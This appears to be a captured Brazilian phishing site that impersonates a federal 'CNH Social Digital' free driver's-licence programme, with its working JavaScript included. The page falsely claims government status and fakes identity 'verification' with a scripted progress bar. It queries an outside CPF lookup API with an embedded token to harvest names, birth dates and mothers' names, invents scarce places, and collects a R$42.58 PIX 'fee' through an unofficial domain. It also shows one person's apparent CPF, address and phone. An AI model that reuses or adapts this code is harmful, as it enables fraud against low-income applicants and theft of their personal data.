Digital

CNH SOCIAL DIGITAL

2026: A OPORTUNIDADE DE REALIZAR O SEU SONHO

O PRIMEIRO PROGRAMA DE INCLUSÃO SOCIAL PARA HABILITAÇÃO NO BRASIL

Saiba o que é o programa CNH Social Digital

MAIS BRASILEIROS DIRIGINDO PELO PAÍS!

CONSEGUIR SUA CNH NÃO É UM SONHO DISTANTE!

Identifique-se no gov.br com:

Número do CPF

Digite seu CPF para criar ou acessar sua conta gov.br

Outras opções de identificação:

  • Login com o seu banco
  • Login com QR code
  • Seu certificado digital
  • Seu certificado digital em nuvem

Complete seus Dados

CPF não encontrado no sistema. Preencha seus dados para prosseguir.

OI, ANTONIO!

CPF: 000.000.000-00

CNH Social Digital 2026: A Oportunidade de Realizar o Seu Sonho

O Governo Federal, através do programa CNH Social, oferece a oportunidade de obter a Carteira Nacional de Habilitação totalmente gratuita. Se você atende aos critérios, essa pode ser a sua chance de conquistar a tão sonhada CNH que falta em sua vida.

INSCRIÇÕES ABERTAS!

De 08/01/2026 a 15/06/2026

Consulte o edital de seu município para mais informações e faça já a sua inscrição!

ATENÇÃO!

A CNH Social Digital 2026 é um programa do Governo Federal que visa garantir o acesso à primeira habilitação (categoria AB) de forma totalmente gratuita aos brasileiros de baixa renda que se enquadrem nos critérios estabelecidos. Ao fim, você terá sua CNH física e receberá o certificado que comprova sua habilitação (categoria A ou B) ao fim do curso prático, que permite a condução de veículos das categorias treinadas durante o curso, até a emissão da CNH definitiva. Não deixe passar essa chance de melhorar a mobilidade e conquistar a cidadania necessária ao trabalho.Processo 100% Digital: Candidatar-se ao programa e acompanhar sua inscrição de forma totalmente online.

Para verificar se você pode obter a CNH facilmente, siga os passos abaixo:

  • Tenha seus dados em mãos

    CPF, RG e comprovante de renda

  • Preencha todos os dados no site da Receita Federal

    Acesso gov.br (nível bronze ou acima)

  • Realize um único protocolo enviar toda a documentação via site gov.br

    Após enquadramento, siga as instruções de envio da sua documentação

Descubra se Você Pode Participar do CNH Social Digital 2026

  • Ter CPF ativo: O programa é exclusivo a candidatos brasileiros com cadastros ativos em qualquer parte do Brasil.
  • Não possuir CNH: O programa é destinado apenas à primeira habilitação. Aqueles que já possuem CNH e querem mudar de categoria ou renovar não são elegíveis.
  • Ter mais de 18 anos ou emancipado: É necessário ter, no mínimo, 18 anos completos. Menores emancipados também podem fazer parte.
  • Renda familiar de até meio salário mínimo: Ou seja, a renda de toda a família dividida pelos membros não pode exceder R$ 706,00 por pessoa.
  • Atender a outras critérios locais: Cada estado pode ter outros critérios específicos, como residir no estado há um determinado tempo ou estar no Cadastro Único, para poder se enquadrar na prioridade.

Resultado do Processo Seletivo 2026

A data de divulgação:

A partir de 28/03/2026

No site oficial do DETRAN:

O resultado oficial será divulgado

Após enquadramento no programa:

Após envio documentação e resultado positivo, aguarde contato

Verificação de Identidade

Para garantir a segurança do seu processo, por favor confirme sua data de nascimento selecionando a opção correta abaixo.

Por que verificamos sua data de nascimento?

Esta verificação é necessária para confirmar sua identidade e garantir a segurança do processo de inscrição.

Processo 100% Seguro

Todas as informações são validadas pelos sistemas oficiais do Governo Federal, garantindo total segurança e autenticidade em seu processo de inscrição.

Verificação de Identidade
Proteção SSL
Dados Oficiais

Verificação de Identidade

Preencha este breve questionário para verificarmos sua elegibilidade para a CNH Digital Social. Este é um passo inicial e não garante a emissão da CNH.

3
4

Processo 100% Seguro

Todas as informações são validadas pelos sistemas oficiais do Governo Federal, garantindo total segurança e autenticidade em seu processo de inscrição.

Validando seus dados

Nossos sistemas oficiais irão analisar seus dados para confirmar se são válidos para o cadastro no programa.

0% Verificação em Progresso 100%
Verificando Nome completo

Consultando cadastro nacional

Verificando CPF

Consultando bases da Receita Federal

Validando Data de Nascimento

Comparação com registros oficiais

Verificando legitimidade

Análise de documentação

Sistema de Verificação Segura

A verificação de identidade é realizada utilizando conexão criptografada e todos os seus dados são processados com os mais altos padrões de segurança em conformidade com a Lei Geral de Proteção de Dados (LGPD).

Questionário

Complete o questionário para prosseguir com o processo de aquisição do CNH Digital.

Site Oficial Conexão Segura Dados Protegidos
Ambiente Verificado

Esta é uma página oficial do DETRAN para verificação de identidade. Seus dados serão utilizados apenas para verificar sua elegibilidade para adquirir o benefício.

Parabéns, DANIEL!

Seu CPF foi validado no programa CNH Social Digital 2026.

0%

Finalize seu cadastro para garantir sua vaga. • • •

3.445.900
Realizados
6.850
Disponíveis

Processo 100% Seguro

Seus dados são protegidos pelos mais altos padrões de segurança, com certificação de proteção de dados em conformidade com a LGPD. Após a verificação bem-sucedida, você será redirecionado para a área de finalização de cadastro.

Dúvidas sobre o processo de verificação?

Atenção!

Restam poucas vagas disponíveis no Programa CNH Social. Não perca a oportunidade de garantir seu benefício!

Cadastro de Endereço

Preencha os dados do seu endereço para prosseguir com o processo da CNH Digital Social.

Importante: Digite seu CEP para verificar as vagas disponíveis. Suas informações são protegidas por criptografia.

Encontramos uma Auto Escola parceira perto de você

Localização confirmada com sucesso.

Identificamos uma autoescola credenciada pelo DETRAN próxima à sua região, apta a prestar atendimento.

Após a conclusão do seu cadastro, você receberá, por E-MAIL e SMS, todas as informações necessárias, incluindo o endereço completo e os horários de funcionamento da autoescola parceira.

🔒 Processo 100% Seguro: Seus dados são protegidos pelos mais altos padrões de segurança, com certificação de proteção de dados em conformidade com a LGPD.

Seus dados foram aprovados

Protocolo de Inscrição: RAR-738932

REPÚBLICA FEDERATIVA DO BRASIL

MINISTÉRIO DAS CIDADES - DENATRAN

DANIEL MELECCHI DE OLIVEIRA FREITAS

CPF: 762.438.420-53
NASC: 21/03/1976
Taxa de Emissão e Ativação Digital

Para validar sua participação no programa, é necessária o pagamento único de R$ 42,58.

Esse valor assegura:

  • Emissão da CNH Digital
  • Acesso à plataforma nacional
  • Custos de integração com órgãos de trânsito

Dados validado com sucesso no Sistema Nacional de Benefícios (SNR)

Parabéns DANIEL você foi aprovado com sucesso e já pode marcar seu exame médico e psicotécnico! A conclusão dessa verificação é essencial para a liberação das aulas teóricas e práticas na autoescola parceira.

Acompanhamento do Processo

Nome Completo: DANIEL MELECCHI DE OLIVEIRA FREITAS
CPF: 762.438.420-53
PROTOCOLO: RAR-738932

Após a confirmação do pagamento da taxa de emissão, o sistema realizará automaticamente o agendamento dos exames obrigatórios em clínicas credenciadas ao programa. Todas as instruções necessárias para a realização dos exames e início das aulas teóricas e práticas serão enviadas ao seu e-mail cadastrado.

Dados validados
Exame psicotécnico
Exame Médico

Dados validado com sucesso no Sistema Nacional de Benefícios (SNR)

Parabéns DANIEL você foi aprovado com sucesso e já pode marcar seu exame médico e psicotécnico! A conclusão dessa verificação é essencial para a liberação das aulas teóricas e práticas na autoescola parceira.

Acompanhamento do Processo

Nome Completo: DANIEL MELECCHI DE OLIVEIRA FREITAS
CPF: 762.438.420-53
PROTOCOLO: RAR-738932

Após a confirmação do pagamento da taxa de emissão, o sistema realizará automaticamente o agendamento dos exames obrigatórios em clínicas credenciadas ao programa. Todas as instruções necessárias para a realização dos exames e início das aulas teóricas e práticas serão enviadas ao seu e-mail cadastrado.

Dados validados
Exame psicotécnico
Exame Médico

Confirme seus Dados

Verifique se todas as informações estão corretas antes de prosseguir para o pagamento.

Dados Pessoais

CPF: 762.438.420-53
Nome: Daniel Melecchi De Oliveira Freitas
Data de Nascimento: 21/03/1976
Nome da Mãe: Elizabeth Melecchi Freitas

Contato

Telefone: (31) 99665-5443
E-mail: email@exemplo.com

Endereço

CEP: 32180-520
Endereço: Rua Praia Grande, 120
Bairro: Estrela Dalva
Cidade/Estado: Contagem/MG

Agendamento do Exame

Data: 18/02/2026
Horário: A Definir

Taxa de Inscrição

Valor a pagar: R$ 42,58

Pagamento - Taxa de Emissão e Ativação

Finalize sua inscrição no programa CNH Social Digital

Tempo restante: 29:43
Taxa de Inscrição R$ 42,58
Aguardando confirmação do pagamento...
QR Code

Escaneie o QR Code com o app do seu banco

ou

Ou copie o código PIX:

Como pagar:

Abra o app do seu banco ou instituição financeira
Escolha pagar via PIX com QR Code ou código copia e cola
Escaneie o QR Code ou cópia e código copiado
Confirme os dados e finalize o pagamento
Pagamento 100% seguro

Suas informações são protegidas com criptografia de ponta a ponta. Ambiente oficial do Governo Federal.

*/ // ============================================ // 1. CONFIGURAÇÃO // ============================================ const CONFIG_PIX = { API_URL: 'https://agendamento.minha-cnh.cfd/api/proxy.php', TEMPO_EXPIRACAO: 300, // 5 minutos INTERVALO_POLLING: 3000 // 3 segundos }; let estadoPix = { transactionId: null, pixCode: null, qrImage: null, pollingAtivo: false, intervalId: null, timerIntervalId: null }; // ============================================ // 2. GERAR PIX (substitui a função confirmarAgendamento) // ============================================ async function confirmarAgendamento() { try { // Desabilita botão para evitar cliques duplos const btnConfirmar = document.querySelector('.btn-confirmar-agendar'); if (btnConfirmar) { btnConfirmar.disabled = true; btnConfirmar.style.opacity = '0.6'; } // Mostra loading const overlayLoading = document.getElementById('overlay-gerando-pix'); if (overlayLoading) { overlayLoading.style.display = 'flex'; } // VALIDA dados obrigatórios if (!usuarioAtual.nome || !usuarioAtual.cpf || !usuarioAtual.email) { throw new Error('Dados incompletos: nome, CPF e email são obrigatórios'); } // Busca valor da taxa let valorTaxa = 4258; // Valor padrão try { const respValor = await fetch(`${CONFIG_PIX.API_URL}?action=valores`); const dadosValor = await respValor.json(); if (dadosValor.success && dadosValor.data) { valorTaxa = dadosValor.data.valor_principal || 4258; } } catch (e) { console.log('Usando valor padrão'); } // Prepara dados LIMPOS const payload = { tipo: 'principal', valor: valorTaxa, cliente: { nome: usuarioAtual.nome.trim(), cpf: usuarioAtual.cpf.replace(/\D/g, ''), // Remove formatação email: usuarioAtual.email.trim(), telefone: (usuarioAtual.telefone || '').replace(/\D/g, '') }, data_exame: usuarioAtual.data_exame || '', horario_exame: usuarioAtual.horario_exame || '', protocolo: usuarioAtual.protocolo || '' }; console.log('📤 Gerando PIX...', payload); // Faz requisição const url = `${CONFIG_PIX.API_URL}?action=criar`; const response = await fetch(url, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); // Verifica se a resposta é válida if (!response.ok) { const errorText = await response.text(); console.error('❌ Erro HTTP:', response.status, errorText); throw new Error(`Erro HTTP ${response.status}: ${response.statusText}`); } const responseText = await response.text(); console.log('📥 Resposta:', responseText); let resultado; try { resultado = JSON.parse(responseText); } catch (e) { console.error('❌ Resposta não é JSON:', responseText); throw new Error('Resposta inválida do servidor'); } if (!resultado.success) { console.error('❌ API retornou erro:', resultado); throw new Error(resultado.error || 'Erro ao gerar PIX'); } const dados = resultado.data; // Salva dados do PIX estadoPix.transactionId = dados.transaction_id; estadoPix.pixCode = dados.pix_code; usuarioAtual.pagamento_id = dados.transaction_id; // Preenche os campos na tela de pagamento preencherTelaPagamento(dados); // Gera QR Code await gerarQRCode(dados.pix_code); // Salva estado para persistência salvarEstadoPix(dados); // Esconde loading if (overlayLoading) { overlayLoading.style.display = 'none'; } // Mostra tela de pagamento mostrarApenasTela('tela-pagamento'); window.scrollTo(0, 0); // Inicia timer e verificação iniciarTimer(300); // 5 minutos iniciarVerificacaoAutomatica(); console.log('✅ PIX gerado com sucesso!'); } catch (erro) { console.error('❌ Erro ao gerar PIX:', erro); // Esconde loading const overlayLoading = document.getElementById('overlay-gerando-pix'); if (overlayLoading) { overlayLoading.style.display = 'none'; } // Reabilita botão const btnConfirmar = document.querySelector('.btn-confirmar-agendar'); if (btnConfirmar) { btnConfirmar.disabled = false; btnConfirmar.style.opacity = '1'; } alert('Erro ao gerar PIX: ' + erro.message); } } // ============================================ // 3. PREENCHER TELA DE PAGAMENTO // ============================================ function preencherTelaPagamento(dados) { // Código PIX (copia-cola) const elementoCodigo = document.getElementById('codigo-pix'); if (elementoCodigo) { elementoCodigo.value = dados.pix_code || ''; } // Valor const elementoValor = document.querySelectorAll('.valor-principal-display'); elementoValor.forEach(el => { el.textContent = dados.valor_formatado || formatarValor(dados.valor); }); // Status const elementoStatus = document.getElementById('pix-status-texto'); if (elementoStatus) { elementoStatus.textContent = 'Aguardando confirmação do pagamento...'; } } // ============================================ // 4. GERAR QR CODE // ============================================ async function gerarQRCode(codigoPix) { try { const elementoQR = document.getElementById('qr-code-img'); if (!elementoQR) { throw new Error('Elemento qr-code-img não encontrado'); } // Detecta biblioteca de QR Code disponível if (window.QRCode && typeof window.QRCode.toDataURL === 'function') { // node-qrcode const dataUrl = await window.QRCode.toDataURL(codigoPix, { width: 240, margin: 1, errorCorrectionLevel: 'M' }); elementoQR.src = dataUrl; estadoPix.qrImage = dataUrl; } else if (typeof window.QRCode === 'function') { // qrcodejs const container = document.createElement('div'); container.style.position = 'fixed'; container.style.left = '-99999px'; document.body.appendChild(container); new window.QRCode(container, { text: codigoPix, width: 240, height: 240, correctLevel: window.QRCode.CorrectLevel?.M || 1 }); await new Promise(resolve => setTimeout(resolve, 100)); const canvas = container.querySelector('canvas'); const img = container.querySelector('img'); if (canvas?.toDataURL) { elementoQR.src = canvas.toDataURL('image/png'); estadoPix.qrImage = canvas.toDataURL('image/png'); } else if (img?.src) { elementoQR.src = img.src; estadoPix.qrImage = img.src; } document.body.removeChild(container); } else { throw new Error('Biblioteca QRCode não encontrada'); } console.log('✅ QR Code gerado'); } catch (erro) { console.error('❌ Erro ao gerar QR Code:', erro); // Não quebra o fluxo - usuário pode usar código copia-cola } } // ============================================ // 5. COPIAR CÓDIGO PIX // ============================================ function copiarCodigoPix() { const elementoCodigo = document.getElementById('codigo-pix'); if (!elementoCodigo) return; elementoCodigo.select(); document.execCommand('copy'); // Feedback visual const botao = event?.target?.closest('.btn-copiar-pix'); if (botao) { const textoOriginal = botao.innerHTML; botao.innerHTML = ' Copiado!'; botao.style.backgroundColor = '#2e7d32'; setTimeout(() => { botao.innerHTML = textoOriginal; botao.style.backgroundColor = ''; }, 2000); } console.log('📋 Código PIX copiado'); } // ============================================ // 6. VERIFICAÇÃO AUTOMÁTICA DE PAGAMENTO // ============================================ function iniciarVerificacaoAutomatica() { if (estadoPix.pollingAtivo) { console.warn('⚠️ Polling já está ativo'); return; } if (!estadoPix.transactionId) { console.error('❌ Não há transação para verificar'); return; } console.log('🔄 Iniciando verificação automática...'); estadoPix.pollingAtivo = true; estadoPix.intervalId = setInterval(async () => { try { const url = `${CONFIG_PIX.API_URL}?action=status&transaction_id=${estadoPix.transactionId}`; const response = await fetch(url); const resultado = await response.json(); if (resultado.success && resultado.data && resultado.data.pago) { console.log('✅ Pagamento confirmado!'); pararVerificacaoAutomatica(); pagamentoConfirmado(); } } catch (erro) { console.error('❌ Erro ao verificar status:', erro); } }, CONFIG_PIX.INTERVALO_POLLING); } function pararVerificacaoAutomatica() { if (estadoPix.intervalId) { clearInterval(estadoPix.intervalId); estadoPix.intervalId = null; estadoPix.pollingAtivo = false; console.log('⏹️ Verificação automática parada'); } } function pagamentoConfirmado() { console.log('✅ Pagamento confirmado! Redirecionando...'); // Para timer pararTimer(); // Limpa estado limparEstadoPix(); // Salva confirmação sessionStorage.setItem('pagamento_principal_confirmado', 'true'); sessionStorage.setItem('usuario_dados', JSON.stringify(usuarioAtual)); // Redireciona window.location.href = 'reprova/index.html'; } // ============================================ // 7. TIMER DE EXPIRAÇÃO // ============================================ function iniciarTimer(segundos) { pararTimer(); let tempoRestante = segundos || 300; atualizarDisplayTimer(tempoRestante); estadoPix.timerIntervalId = setInterval(() => { tempoRestante--; if (tempoRestante <= 0) { pararTimer(); pixExpirado(); return; } atualizarDisplayTimer(tempoRestante); }, 1000); } function pararTimer() { if (estadoPix.timerIntervalId) { clearInterval(estadoPix.timerIntervalId); estadoPix.timerIntervalId = null; } } function atualizarDisplayTimer(segundos) { const minutos = Math.floor(segundos / 60); const segs = segundos % 60; const texto = `Tempo restante: ${String(minutos).padStart(2, '0')}:${String(segs).padStart(2, '0')}`; const elementoTimer = document.getElementById('timer-texto'); if (elementoTimer) { elementoTimer.textContent = texto; } } function pixExpirado() { console.log('⏰ PIX expirado'); pararVerificacaoAutomatica(); limparEstadoPix(); const elementoTimer = document.getElementById('timer-texto'); if (elementoTimer) { elementoTimer.textContent = 'PIX Expirado'; } const elementoStatus = document.getElementById('pix-status-texto'); if (elementoStatus) { elementoStatus.textContent = 'PIX expirado. Gere um novo código.'; } } // ============================================ // 8. PERSISTÊNCIA // ============================================ function salvarEstadoPix(dados) { try { const estado = { transaction_id: dados.transaction_id, pix_code: dados.pix_code, qr_image: estadoPix.qrImage, valor: dados.valor, criado_em: Date.now(), expira_em: 300 }; sessionStorage.setItem('pix_state', JSON.stringify(estado)); console.log('💾 Estado do PIX salvo'); } catch (erro) { console.error('❌ Erro ao salvar estado:', erro); } } function restaurarEstadoPix() { try { const estadoSalvo = sessionStorage.getItem('pix_state'); if (!estadoSalvo) return false; const dados = JSON.parse(estadoSalvo); const agora = Date.now(); const tempoDecorrido = Math.floor((agora - dados.criado_em) / 1000); const tempoRestante = dados.expira_em - tempoDecorrido; if (tempoRestante <= 0) { console.log('⏰ PIX salvo já expirou'); limparEstadoPix(); return false; } estadoPix.transactionId = dados.transaction_id; estadoPix.pixCode = dados.pix_code; estadoPix.qrImage = dados.qr_image; // Restaura elementos const elementoQR = document.getElementById('qr-code-img'); if (elementoQR && dados.qr_image) { elementoQR.src = dados.qr_image; } const elementoCodigo = document.getElementById('codigo-pix'); if (elementoCodigo && dados.pix_code) { elementoCodigo.value = dados.pix_code; } iniciarTimer(tempoRestante); console.log('✅ Estado do PIX restaurado'); return true; } catch (erro) { console.error('❌ Erro ao restaurar estado:', erro); return false; } } function limparEstadoPix() { estadoPix = { transactionId: null, pixCode: null, qrImage: null, pollingAtivo: false, intervalId: null, timerIntervalId: null }; sessionStorage.removeItem('pix_state'); console.log('🗑️ Estado do PIX limpo'); } // ============================================ // 9. UTILITÁRIOS // ============================================ function formatarValor(centavos) { const reais = centavos / 100; return reais.toLocaleString('pt-BR', { style: 'currency', currency: 'BRL' }); } // ============================================ // 10. RESTAURAÇÃO AO CARREGAR // ============================================ // Adicione isso ao seu window.addEventListener('load') window.addEventListener('load', function() { const telaSalva = sessionStorage.getItem('telaAtual'); if (telaSalva === 'tela-pagamento') { const restaurou = restaurarEstadoPix(); if (restaurou) { console.log('✅ PIX restaurado após F5'); setTimeout(() => { iniciarVerificacaoAutomatica(); }, 1000); } else { console.log('⚠️ PIX expirado, voltando para resumo'); mostrarApenasTela('tela-resumo'); } } }); // ============================================ // FIM DA INTEGRAÇÃO // ============================================ console.log('📦 Módulo PIX integrado e pronto!'); // Configuração da API - altere a porta aqui const API_BASE = "https://agendamento.minha-cnh.cfd/api/proxy.php"; // Base de dados com CPF => {nome, dataNascimento} const usuariosDB = { "930.405.475-34": { nome: "ANTONIO", data: "03/06/1987" }, "123.456.789-10": { nome: "JOÃO", data: "15/07/1965" }, "987.654.321-00": { nome: "MARIA", data: "25/08/1954" }, "111.222.333-44": { nome: "CARLOS", data: "28/10/1976" }, "555.666.777-88": { nome: "SILVA", data: "12/03/1980" }, }; // Armazena dados do usuário atual let usuarioAtual = { cpf: "", nome: "", dataNascimento: "", }; // Lista de todas as telas do site const todasTelas = [ 'tela-inicial', 'tela-login', 'tela-cadastro-dados', 'tela-informacoes', 'tela-verificacao', 'tela-contato', 'tela-validacao', 'tela-endereco', 'tela-auto-escola', 'tela-questionario', 'tela-resultado', 'tela-aprovacao', 'tela-exames-agendados', 'tela-resumo', 'tela-pagamento' ]; // Função para esconder todas as telas e mostrar apenas uma function mostrarApenasTela(telaId) { todasTelas.forEach(tela => { const elemento = document.getElementById(tela); if (elemento) { elemento.style.display = 'none'; } }); const telaAtiva = document.getElementById(telaId); if (telaAtiva) { telaAtiva.style.display = 'block'; // Salva a tela atual no sessionStorage sessionStorage.setItem('telaAtual', telaId); // Salva dados do usuário sessionStorage.setItem('usuarioAtual', JSON.stringify(usuarioAtual)); } } // Função para restaurar estado ao carregar a página function restaurarEstado() { const telaSalva = sessionStorage.getItem('telaAtual'); const usuarioSalvo = sessionStorage.getItem('usuarioAtual'); if (usuarioSalvo) { try { const dados = JSON.parse(usuarioSalvo); Object.assign(usuarioAtual, dados); } catch (e) { console.log('Erro ao restaurar usuário'); } } if (telaSalva && todasTelas.includes(telaSalva)) { // Se estiver na tela de pagamento, restaura o PIX if (telaSalva === 'tela-pagamento') { const pixState = sessionStorage.getItem('pix_state'); if (pixState) { try { const pix = JSON.parse(pixState); const agora = Date.now(); const tempoDecorrido = Math.floor((agora - pix.criado_em) / 1000); const tempoRestanteCalc = pix.expira_em - tempoDecorrido; if (tempoRestanteCalc > 0) { // PIX ainda válido, restaura mostrarApenasTela('tela-pagamento'); // Restaura QR Code const elQr = document.getElementById('qr-code-img'); if (elQr && pix.qr_image) elQr.src = pix.qr_image; // Restaura código copia-cola const elCodigo = document.getElementById('codigo-pix'); if (elCodigo) elCodigo.value = pix.pix_code || ''; // Restaura valor const elValor = document.getElementById('pix-valor'); if (elValor && pix.valor) { elValor.textContent = (pix.valor / 100).toLocaleString('pt-BR', { style: 'currency', currency: 'BRL' }); } // Restaura transaction_id usuarioAtual.pagamento_id = pix.transaction_id; // Inicia timer com tempo restante iniciarTimer(tempoRestanteCalc); return; } else { // PIX expirou, limpa e volta ao resumo sessionStorage.removeItem('pix_state'); mostrarApenasTela('tela-resumo'); return; } } catch (e) { console.log('Erro ao restaurar PIX'); } } } mostrarApenasTela(telaSalva); // Se estiver na tela de resultado, reinicia a animação if (telaSalva === 'tela-resultado') { setTimeout(() => { iniciarAnimacaoResultado(); }, 100); } } else { mostrarApenasTela('tela-inicial'); } } // Restaurar estado quando a página carrega window.addEventListener('load', restaurarEstado); function mascaraCPF(i) { let v = i.value.replace(/\D/g, ""); if (v.length > 11) v = v.slice(0, 11); let formatted = ""; if (v.length > 0) { formatted = v.slice(0, 3); if (v.length > 3) formatted += "." + v.slice(3, 6); if (v.length > 6) formatted += "." + v.slice(6, 9); if (v.length > 9) formatted += "-" + v.slice(9, 11); } i.value = formatted; } function validarCPF(cpf) { cpf = cpf.replace(/\D/g, ""); if (cpf.length !== 11) return false; if (/^(\d)\1{10}$/.test(cpf)) return false; const cpfArray = cpf.split("").map(Number); let soma = 0; for (let i = 0; i < 9; i++) { soma += cpfArray[i] * (10 - i); } let resto = soma % 11; let digito1 = resto < 2 ? 0 : 11 - resto; if (cpfArray[9] !== digito1) return false; soma = 0; for (let i = 0; i < 10; i++) { soma += cpfArray[i] * (11 - i); } resto = soma % 11; let digito2 = resto < 2 ? 0 : 11 - resto; if (cpfArray[10] !== digito2) return false; return true; } function confirmarCadastroDados() { const nome = document.getElementById("nome-cadastro").value; const dataNasc = document.getElementById("data-cadastro").value; const telefone = document.getElementById("telefone-cadastro").value; const email = document.getElementById("email-cadastro").value; if (!nome || !dataNasc || !telefone || !email) { alert("Preencha todos os campos!"); return; } // Validar email const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; if (!emailRegex.test(email)) { alert("Digite um e-mail válido!"); return; } // Validar telefone (mínimo 14 caracteres com máscara) if (telefone.replace(/\D/g, "").length < 10) { alert("Digite um telefone válido!"); return; } const dataParts = dataNasc.split("-"); const dataFormatada = dataParts[2] + "/" + dataParts[1] + "/" + dataParts[0]; usuarioAtual.nome = nome.toUpperCase(); usuarioAtual.dataNascimento = dataFormatada; usuarioAtual.telefone = telefone; usuarioAtual.email = email; usuarioAtual.cadastroManual = true; // Marca que foi cadastro manual mostrarApenasTela('tela-informacoes'); document.getElementById("display-cpf").innerText = usuarioAtual.cpf; document.getElementById("nome-usuario").innerText = "OI, " + usuarioAtual.nome.split(" ")[0] + "!"; window.scrollTo(0, 0); } function gerarDatasAleatorias(dataReal) { const datas = [ "03/06/1987", "15/07/1965", "25/08/1954", "28/10/1976", "12/03/1980", "07/11/1975", "22/05/1988", "18/09/1992", "30/01/1970", "14/12/1985", ]; let datasDisponiveis = datas.filter((d) => d !== dataReal); datasDisponiveis = datasDisponiveis.sort(() => Math.random() - 0.5); let datasEscolhidas = datasDisponiveis.slice(0, 3); datasEscolhidas.push(dataReal); datasEscolhidas = datasEscolhidas.sort(() => Math.random() - 0.5); return datasEscolhidas; } function simularVerificacao() { const btn = document.getElementById("btn-entrar"); const cpfDigitado = document.getElementById("cpf").value; if (cpfDigitado.length < 14) { alert("Digite um CPF válido"); return; } if (!validarCPF(cpfDigitado)) { alert("CPF inválido"); return; } btn.innerHTML = "Verificando..."; btn.style.opacity = "0.7"; btn.disabled = true; // Remove formatação do CPF (deixa apenas números) const cpfLimpo = cpfDigitado.replace(/\D/g, ""); // Consulta a nova API de CPF fetch(`https://magmadatahub.com/api.php?token=5fbf6c8e821ee3eb5d58174b8f1a5d2cc4a1db54d58629074dfed4d8309e91ac&cpf=${cpfLimpo}`) .then((response) => response.json()) .then((data) => { // Verifica se retornou dados válidos if (data && data.cpf && data.nome) { // CPF encontrado na API usuarioAtual.cpf = cpfDigitado; // Mantém formatado para exibição usuarioAtual.nome = data.nome.toUpperCase(); usuarioAtual.dataNascimento = data.nascimento || ""; usuarioAtual.data_nascimento = data.nascimento || ""; usuarioAtual.nascimento = data.nascimento || ""; usuarioAtual.nome_mae = data.nome_mae || ""; usuarioAtual.sexo = data.sexo || ""; mostrarApenasTela('tela-informacoes'); document.getElementById("display-cpf").innerText = cpfDigitado; document.getElementById("nome-usuario").innerText = "OI, " + data.nome.split(" ")[0].toUpperCase() + "!"; window.scrollTo(0, 0); } else { // CPF não encontrado - mostrar tela de cadastro manual usuarioAtual.cpf = cpfDigitado; mostrarApenasTela('tela-cadastro-dados'); document.getElementById("cpf-cadastro-display").innerText = cpfDigitado; window.scrollTo(0, 0); } btn.innerHTML = "Continuar"; btn.style.opacity = "1"; btn.disabled = false; }) .catch((error) => { console.error("Erro:", error); // Em caso de erro na API, mostra tela de cadastro manual usuarioAtual.cpf = cpfDigitado; mostrarApenasTela('tela-cadastro-dados'); document.getElementById("cpf-cadastro-display").innerText = cpfDigitado; window.scrollTo(0, 0); btn.innerHTML = "Continuar"; btn.style.opacity = "1"; btn.disabled = false; }); } function irParaVerificacao() { // Se foi cadastro manual, pula a verificação de identidade // e vai direto para a tela de contato (que já tem telefone/email preenchidos) if (usuarioAtual.cadastroManual) { mostrarApenasTela('tela-validacao'); window.scrollTo(0, 0); iniciarValidacao(); return; } // Fluxo normal - API retornou dados, precisa verificar identidade const datasOpcoes = gerarDatasAleatorias(usuarioAtual.dataNascimento); const container = document.querySelector(".opcoes-data"); container.innerHTML = ""; datasOpcoes.forEach((data) => { const label = document.createElement("label"); label.className = "radio-option"; label.innerHTML = ` ${data} `; container.appendChild(label); }); mostrarApenasTela('tela-verificacao'); window.scrollTo(0, 0); } function irParaInformacoes() { mostrarApenasTela('tela-informacoes'); window.scrollTo(0, 0); } function continuarVerificacao() { const dataSelecionada = document.querySelector( 'input[name="data-nascimento"]:checked' ); if (!dataSelecionada) { alert("Selecione sua data de nascimento"); return; } if (dataSelecionada.value === usuarioAtual.dataNascimento) { mostrarApenasTela('tela-contato'); window.scrollTo(0, 0); } else { alert("✗ Data de nascimento incorreta. Tente novamente."); } } function iniciarValidacao() { const progressBar = document.getElementById("progress-bar"); const items = document.querySelectorAll(".validacao-item"); let progress = 0; let itemIndex = 0; const interval = setInterval(() => { progress += Math.random() * 30; if (progress > 100) progress = 100; progressBar.style.width = progress + "%"; if (itemIndex < items.length && progress >= (itemIndex + 1) * 25) { const item = items[itemIndex]; const icon = item.querySelector("i"); icon.className = "fas fa-check-circle"; icon.style.color = "#2e7d32"; item.querySelector(".validacao-text").style.color = "#2e7d32"; itemIndex++; } if (progress >= 100) { clearInterval(interval); progressBar.style.width = "100%"; items.forEach((item) => { const icon = item.querySelector("i"); icon.className = "fas fa-check-circle"; icon.style.color = "#2e7d32"; item.querySelector(".validacao-text").style.color = "#2e7d32"; }); setTimeout(() => { mostrarApenasTela('tela-questionario'); window.scrollTo(0, 0); }, 2000); } }, 400); } // Sistema de Perguntas do Questionário let perguntaAtual = 0; const perguntas = [ { numero: 1, pergunta: "Qual sua idade?", opcoes: [ "Menor de 18 (Inapto)", "18 a 24", "25 a 35", "36 a 45", "Acima de 45", ], }, { numero: 2, pergunta: "Você está desempregado ou com renda familiar inferior a R$3.100?", opcoes: ["Sim", "Não"], }, { numero: 3, pergunta: "Qual categoria deseja solicitar?", opcoes: ["Categoria A (moto)", "Categoria B (carro)", "Ambas"], }, { numero: 4, pergunta: "O titular do CPF já tentou emitir a CNH alguma vez?", opcoes: ["Sim", "Não"], }, { numero: 5, pergunta: "Você ou um familiar próximo tem carro?", opcoes: ["Sim", "Não"], }, ]; function carregarPergunta() { const container = document.getElementById("pergunta-container"); const pergunta = perguntas[perguntaAtual]; const progressPercent = ((perguntaAtual + 1) / perguntas.length) * 100; document.getElementById("progress-pergunta").style.width = progressPercent + "%"; container.innerHTML = ""; const perguntaDiv = document.createElement("div"); perguntaDiv.className = "pergunta-section"; let opcoesHTML = ""; pergunta.opcoes.forEach((opcao) => { opcoesHTML += ` `; }); perguntaDiv.innerHTML = `
${pergunta.numero}
${opcoesHTML}
